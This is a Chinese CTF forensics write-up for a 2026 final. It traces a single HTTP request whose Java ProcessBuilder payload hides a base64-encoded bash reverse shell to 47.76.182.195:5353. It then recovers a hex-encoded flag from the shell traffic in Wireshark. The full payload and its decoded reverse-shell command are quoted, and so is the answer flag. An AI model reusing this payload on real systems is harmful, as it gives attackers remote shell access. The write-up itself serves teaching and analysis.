CTF取证从单一HTTP包中追踪反向Shell并解密Flag备选题目可任选其一替换上方标题一发入魂从单个HTTP包中解密隐藏的FlagCTF取证实战追踪5353端口的反向Shell流量Flag消失之谜Wireshark分析中的编码与解码技巧破阵阁CTF决赛题解Forensics-FLAG消失之谜完整解析从Java ProcessBuilder到Hex解码一次完整的CTF取证之旅赛事2026年破阵阁::CTF决赛破阵·巅峰Forensics-FLAG 消失之谜链接https://118.195.192.138:9443/games/4/challenges#46-%E4%B8%80%E5%8F%91%E5%85%A5%E9%AD%82题目这位黑客老哥属实是个讲究人全程只发一个 HTTP 包深藏功与名。快来围观这“一发入魂”的骚操作顺便把 FLAG 领走解题查看唯一的HTTP包根据题目提示只发一个 HTTP 包那就看一下追踪HTTP包请求内容expvar%20pb%20%3D%20new%20java.lang.ProcessBuilder%28%22bash%22%2C%20%22-c%22%2C%20%22%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%29%3Bpb.redirectErrorStream%28true%29%3Bvar%20p%20%3D%20pb.start%28%29%3Bvar%20scanner%20%3D%20new%20java.util.Scanner%28p.getInputStream%28%29%29.useDelimiter%28%22%5C%5CA%22%29%3Bscanner.hasNext%28%29%20%3F%20scanner.next%28%29%20%3A%20%22%22URL解码内容整理解码结果发现是用 Java 语法写的JavaScript代码利用了Java的 ProcessBuilder 类来执行系统命令。看不出来什么所以直接对base64加密的密文YmFzaCAtaSAJiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ进行解密查看内容expvarpbnewjava.lang.ProcessBuilder(bash,-c,{echo,YmFzaCAtaSAJiAvZGV2L3RjcC80Ny43Ni4xODIuMTk1LzUzNTMgMD4mMQ}|{base64,-d}|{bash,-i});pb.redirectErrorStream(true);varppb.start();varscannernewjava.util.Scanner(p.getInputStream()).useDelimiter(\\A);scanner.hasNext()?scanner.next():base64解码这是一个 反向Shell 命令会尝试连接到攻击者的IP 47.76.182.195 的端口 5353从而让攻击者获得目标服务器的Shell访问权限。bash-i/dev/tcp/47.76.182.195/535301筛选可疑端口所有流量信息_ws.col.info contains5353逐一查看大部分的TCP片段信息都是可以被wireshark编译的只有980包的数据还存在较多乱码先提取出来\$zf_E?/LBR02iE?/LBR02iBR02i 666c61677b36386436613462642d383064332d346635632d393136352d6433303761613661653437377d[root4bcfc06a246b /]#进行解码将完整的乱码666c61677b36386436613462642d383064332d346635632d393136352d6433303761613661653437377d提取出来magic破解得到了flag答案flag{68d6a4bd-80d3-4f5c-9165-d307aa6ae477}
